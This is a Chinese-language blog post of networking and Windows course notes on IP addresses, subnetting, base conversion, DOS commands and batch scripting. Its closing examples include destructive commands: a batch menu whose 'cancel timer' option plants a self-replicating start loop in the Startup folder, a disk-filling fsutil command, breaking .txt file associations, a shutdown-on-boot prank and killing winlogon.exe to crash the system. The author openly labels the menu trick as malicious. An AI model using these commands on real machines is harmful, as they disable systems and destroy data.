Loading

Day02_IP地址详解&进制转换&DOS基本命令与批处理

学于千峰教育开源课程 感谢

千峰教育官网

b站在线视频

IP地址详解

一、简单局域网的构成

局域网:一般称为内网
简单局域网的构成:交换机、网线、PC(其他IT终端)
交换机:用来组建内网的局域网的设备。

二、IP地址

IP地址就是一个唯一标识,是一段网络编码(二进制,下章学习),由32位组成

IP地址形式:X.X.X.X

X的范围:0-255

如:
  正确:10.1.1.1 、192.168.1.1
  错误:300.1.1.1

三、子网掩码

局域网通信规则:在同一个局域网中,所有的IP必须在同一网段中才可以互相通信!

IP地址构成:网络位+主机位(网络位相同的IP地址,为同一网段)

子网掩码:用来确定IP地址的网络位

子网掩码如何确认网络位:与255对应的数字为网络位,与0对应的数字为主机位

255.0.0.0

255.255.0.0

255.255.255.0

如:
  10.1.1.1 255.0.0.0
  获知:10.1.1.1属于10.网段,名字叫.1.1.1
  
  10.1.1.1 255.255.0.0
  获知:10.1.1.1属于10.1.网段,名字叫.1.1
  
  10.1.1.1 255.255.255.0
  获知:10.1.1.1属于10.1.1网段,名字叫.1

注意:1个IP地址,必须配套一个子网掩码

四、IP地址详解

国际标准组织ISO定义地址分类:五大类(是以IP地址的第一位进行区分的)

A类: 1-126 默认子网掩码:255.0.0.0

B类: 128-191 默认子网掩码:255.255.0.0

C类: 192-223 默认子网掩码:255.255.255.0

D类: 224-239 组播地址

E类:240-254 科研使用

如:10.1.1.1 属于A类
  192.168.1.1 属于C
  
注:1. 目前我们可以使用的只有A、B、C3类
	 2. ABC3类的子网掩码可以修改!

IP地址详细解剖:

案例1:

10.1.1.1

255.255.255.0

问:10.1.1.1属于哪个网段?所在网段有多少个可用的IP地址?该网段的广播地址是什么?

答:

10.1.1.1属于10.1.1.0网段

10.1.1.0网段可用的IP地址范围:10.1.1.1-10.1.1.254

10.1.1.0网段的广播地址:10.1.1.255

案例2:

10.1.1.1

255.255.0.0

问:10.1.1.1属于哪个网段?所在网段有多少个IP地址?该网段的广播地址是什么?

答:

10.1.1.1属于10.1.0.0网段

10.1.0.0网段可用的IP地址范围:10.1.0.1-10.1.255.254(65534)

10.1.1.0网段的广播地址:10.1.255.255

注:当主机位全部置0代表网段,主机位全部置255代表该网段的广播地址

五、网关

网关:一个网络的出口,Gateway=GW,一般网关是在路由器上

路由器:可用连接内外网的设备

PC向外发包:
  1、首先判断目标IP地址与自己是否在同一网段
  2、如在同一网段,则直接发出去,而不找网关
  3、如不在同一网段,则直接发包给网关

六、DNS

DNS:Domain Name Service 域名服务

注:1台PC需要连接外网,需要IP地址、子网掩码、网关、DNS四大参

七、配置IP地址

八、 网络测试命令

1、如何查看IP地址

首先:开始--运行--输入cmd--进入命令行窗口或者win+r打开运行窗口

ipconfig                   # 查看IP地址基本信息
ipconfig  /all             # 查看IP地址详细信息
 
MacOS
  ifconfig  # 查看IP地址基本信息

2、测试网络连通性

ping  目标IP地址            # 测试网络连通性,有去有回即为可以成功通信!
ping  -t  目标IP地址        # 一直ping
ping  -n  数字目标IP地址		# 修改ping包的数量
  
注:如ping不通,可能对方不在线,或者对方开着防火墙!

3、手工解析域名

nslookup  www.jd.com       #手工解析域名的IP地址

进制转换

一、数制类型

1.1、二进制

1.2、十进制

1.3、十六进制

二、二进制与十进制

1.1、 二进制与十进制计数

参考数值类型的1.1

1.2、 位权

位权:进制中,每一位所对应的权利数值

位权的特点与规律:任何进制的个位位权永远为1,之后以此乘以自己的进制数字

1.3、二进制转换十进制

1.4、 十进制转换二进制

方法:使用减法凑数法,如81转二进制,先凑64,剩余17,再凑16,再凑1

减法凑数法:首演凑小于十进制数字并最接近十进制的位权,以此类推,凑过的数写1,未凑过的写0,即转换成功二进制

辗转相除法

三、十六进制与十进制

1.1、 十六进制与十进制计数

参考数值类型1.3

1.2、十六进制转换十进制

方法:参考二进制中的1.3

1.3、十进制转换十六进制

方法:参考二进制中的1.4,减数凑数法

四、二进制与十六进制

1.1、十六进制转换二进制

方法:一比四,十六进制为一,二进制为4

![image-20200427202839253](/Users/XinxingWang/Library/Application Support/typora-user-images/image-20200427202839253.png)

五、二进制与IP地址

六、存储单位

二进制每一位成为一个bit,如1100,代表4个bit(比特)

进制转换作业

DOS基本命令与批处理

一、DOS命令

1.1、如何操作DOS命令

建议:初学者在虚拟机中完成实验!!!!!
开始---运行---输入cmd--回车,将调出C:\windows\system32\cmd.exe
或者
Win+R---运行---输入cmd--回车

1.2、基本命令

1.命令:color f0
帮助:color ?
作用:改变背景及字体颜色
2.命令:cls作用:清屏

1.3、目录相关命令

3.命令:dir
作用:浏览当前文件夹的内容(带<dir>标识的为文件夹,否则为文件)
其他用法:
dir指定路径
dir d:\
dir d:\pic
dir /a			#浏览所有内容,包括隐藏内容
4.命令:盘符:
作用:切换分区, 如:c:   d:   e:
5.命令:cd..
作用:退出一级目录
6.命令:cd文件夹名
作用:进入文件夹
7.Tab键:补全路径功能
8.命令:cd \
作用:直接退到根目录
9.命令:md 文件夹 [文件夹 文件夹 ....]
10.命令:rd 文件夹 [文件夹 文件夹 ....]
作用:删除空文件夹
命令:rd 文件夹 /s /q
作用:无提示删除非空文件夹
11.路径:
相对路径:针对当前路径有效,如:..\456
绝对路径:从根开始写路径,如:\123\345

1.4、文件相关命令

12.创建文件方法:echo字符串 >>[路径\]文件名.扩展名
注释:>>和>都可以将命令的输出内容输入到某文件中,若文件不存在,则同时创建该文件
>> 为追加
> 为覆盖
案例:修改hosts文件
echo1.1.1.1 www.baidu.com >> c:\windows\system32\drivers\etc\hosts
13.命令:type 文件名.扩展名
作用:浏览一个文件的内容
14.命令:del 文件名.扩展名
作用:删除文件
del *.txt			#删除所有txt结尾的文件
del *.*				#删除所有文件
del *.* /s /q	#无提示删除所有文件
注释:*为通配符,代表任意字符,任意长度

1.5、隐藏命令

15.修改文件或文件夹隐藏属性
命令:
attrib +h 文件全名/文件夹名		#隐藏文件或文件夹
attrib +s +h 文件全名/文件夹名		#提升为被系统保护的文件
注释:+改为-为取消修改文件属性

1.6、复制和移动

16.命令:
复制文件:copy   [路径\]源文件全名	目标路径[\新文件全名]
移动文件:move   [路径\]源文件全名	目标路径[\新文件全名]

1.7、定时关机或重启

17.命令:定时关机或重启
shutdown	-s	-t秒	#定时关机
shutdown	-s	-f	-t秒	#定时强制关机
shutdown	-r	-t秒	#定时重启,同上加-f,为强制重启
shutdown	-a	#取消定时
shutdown	-l	#注销,同logoff命令相同

二、批处理编写

1.1、批处理作用

自上而下成批的处理每一条命令,直到执行最后一条!

1.2、如何创建批处理

扩展名: .bat

创建方法:新建一个记事本文件,然后将扩展名改为.bat

注:修改扩展名时,需要将文件的扩展名显示出来后再进行修改!

案例:新建一个记事本文件,然后将扩展名改为.bat,内容如下:

d:

cd \

cd tmp

del . /s /q

1.3、批处理基本语法

1.3.1、@echo off

作用:关闭回显功能,也就是屏蔽过程,建议放置在批处理的首行

1.3.2、pause

作用:暂停批处理运行

案例:
@echo off
pause

1.3.3、title

作用:为批处理脚本设置标题

案例:
@echooff 
title 小程序

1.3.4、echo

作用:在执行批处理脚本时,可以空一行

案例:
@echo off
title 小程序
echo==========================
echo.
echo 欢迎使定时关机小程序
echo.
echo==========================

1.3.5、set

作用:设置变量,常用与在脚本中的互动赋值

互动赋值:set  /p  time=请输入时间:
引用变量:%time%
案例:
@echo off
title 小程序
echo=====================
echo.
echo 欢迎使用此小程序
echo.
echo=====================
set /p time=请输入时间:
shutdown -s -f -t  %time% 
echo定时关机已设置完毕,谢谢使用!
pause

1.3.6、:和goto

:定义标签名
goto实现跳转

为什么要把这两个命令联合起来介绍?因为它们是分不开的,无论少了哪个或多了哪个都会出错。当程序运行到goto时,将自动跳转到:定义的标签部分去执行命令块了,所有:和goto联合起来可以实现在批处理执行时进行跳转功能。

案例:
案例:
@echo off
title 小程序
color 0a
:menu
cls
echo ====================
echo	菜单
echo	1.定时关机
echo	2.查看本机IP
echo	3.退出
echo	4.取消定时
echo ====================
set /p num=请输入选项:
if "%num%"=="1" goto a
if "%num%"=="2" goto b
if "%num%"=="3" goto c
if "%num%"=="4" goto d
echo 请正确输入数值(1、2、3、4),按任意键继续!
pause
goto menu

:a 
set /p time=请输入时间:
shutdown -s -f -t %time%
echo 定时关机已设置完毕,按任意键返还菜单!
pause
goto menu
:b 
ipconfig 
echo 按任意键返还菜单!
pause
goto menu
:c
exit
:d 
shutdown -a
goto menu

补充

  • 127.0.0.1 回环地址(本机IP地址)

  • ping -l 数字 IP地址
    -l:修改ping包的大小

  • rd 删除目录
    /s 递归
    /q 安静模式
    rd . /s /q

  • 查看文件内容
    type 文件名.扩展名 | more
    分页显示
    dir c:\windows | more

  • 创建文件
    1)echo
    2)编辑文本内容
    copy con 文件名.扩展名
    开始编辑内容
    ctrl+z回车结束编写

  • 快速生成一个空文件(目的是让对方的硬盘设备内存被占用)
    fsutil file createnew c:\windows\system.ini 409600000

  • 修改关联:
    assoc .txt=exefile

  • .-s 关机
    -f 强制
    -t 加上时间
    -c 要输出的内容
    shutdown -s -f -t 秒 -c ""

  • 修改目录或者文件的名称
    ren 旧名 新名

  • nul是Dos中的一个设备文件名 表示空设备
    CON 控制台(键盘/显示器) AUX 第一串行通信口
    PRN 第一并行通信口/打印机 COM1 第一串行通信口
    LPT1 第一并行通信口/打印机 COM2 第一串行通信口
    LPT2 第一并行通信口/打印机 NUL 空文件
    >nul 是屏蔽标准输出在屏幕上的显示,
    2>nul 是屏蔽出错显示,
    >nul 2>nul 是无论对错,都屏蔽屏幕显示。
    虚拟的空设备NUL有三种常见的用法:
      1. 用来删除文件:
      COPY NUL<文件名>
      一次只能删除一个文件,且删除后用UNDELETE和PCTOOLS无法恢复。
      2. 屏蔽某些出错信息或DOS提示,如:
      COPY *.* C:>NUL
      这样,原来显示在屏幕上的"*.* files copies.”的提示将被屏蔽不再显示,这在编制批文件时非常有用。
      3. 判断目录在存在
      在批文件中可用IF子句判断文件的存在,却没有专用于判断目录存在的语句,可用NUL进行,例如:
      IF EXIST C:CX NUL MD CX1
      表示如果C盘根目录下存在CX子目录则在根目录下建立名为CX1的子目录,需指出的是,此判断命令在DOS提示符下直接键入无效。必须用于批文件中。
    关于 ping -n 1 127.1>nul:
    1、ping是测试网络连接性的网络命令,参数"-n 1"表示只发送一次ICMPS数据包来测试网络的连接性。
    2、127.1表示本机保留IP地址,实际就是127.0.0.1,ping 127.1就表示ping 127.0.0.1,可以测试网卡及TCP/IP协议是否正常安装及工作。
    3、">nul"表示把命令产生的屏幕显示信息重定向(>)到空设备(nul),这样在屏幕上就没有显示ping命令的执行结果了。如果想屏蔽出错信息,可以用">nul 2>nul"屏蔽一切屏幕输出。
    如果想屏蔽出错信息,可以用">nul 2>nul"屏蔽一切屏幕输出。
    这个">nul 2>nul"可以屏蔽一切屏幕的输出可以这样理解:
      假如你执行一个命令,但是不想在屏幕里看到这个命令的执行情况,可以使用"[命令]>nul"就可以屏蔽命令在屏幕上的输出了,但是有的命令执行会出错,即使用了">nul"也不能屏蔽命令产生的信息,所以就在后面加" 2>nul"这个,就是"[命令]>nul 2>nul",这样,不管命令是否正确的运行,都不会在屏幕看到这个命令所产生的屏幕显示了。
      我们举一个简单的例子吧。
      用"dir"命令可以显示当前目录的文件及文件夹列表,这时如果用"dir>nul",你就看不见dir命令执行的屏幕输出了,那么你再键入"dirr"会是什么情况呢?这时会显示" 'dirr' 不是内部命令,也不是外部命令,也不是批处理文件。",这时你也许会用"dirr>nul"来屏蔽这个错误提示,但是告诉你,你的猜想是错的,因为依然会出现" 'dirr' 不是内部命令,也不是外部命令,也不是批处理文件。"这个错误提示,这时如果你用"dirr>nul 2>nul"的话,你就在屏幕上看不到上面的出错提示了。
    

批处理上课案例

课上案例1:

可以将qq.bat写成关机的批处理命令,将其放到开机便启动,当对方一开机就关机

start:该dos命令是打开新的一个cmd窗口

课上案例2:创建大文件,填充硬盘空间

课上案例3:

>nul 2>nul 是无论对错,都屏蔽屏幕显示

课上案例4:

@echo off

title 飞阁小程序v1.0
color 0a
:menu
cls
echo =======================
echo     菜单
echo    1.定时关机
echo    2.取消定是
echo    3.推出
echo =======================
set /p num=您的选择:
if "%num%"=="1" goto 1
if "%num%"=="2" goto 2
if "%num%"=="3" goto 3
echo 别tm下输入,浩浩输入,别闹,只能输入1/2/3
pause
goto menu

:1
set /p a=清输入时间(单位/秒):
shutdown -s -f -t %a%
goto menu

:2
echo :a >>"%userprofile%\「开始」菜单\程序\启动\haha.bat"
echo start >>"%userprofile%\「开始」菜单\程序\启动\haha.bat"
echo goto a >>"%userprofile%\「开始」菜单\程序\启动\haha.bat"
goto menu

:3
exit

此处2后面为恶意程序,正常程序修改为:shutdown -a

课上案例5:恶搞杀死桌面进程后还原

关闭explorer.exe会导致Windows图形界面无法使用

课上案例6:

Win 2003的蓝屏DOS命令

ntsd -c q -pn winlogon.exe
posted @ 2020-05-23 23:34  Artwalker  阅读(471)  评论(0编辑  收藏  举报
Live2D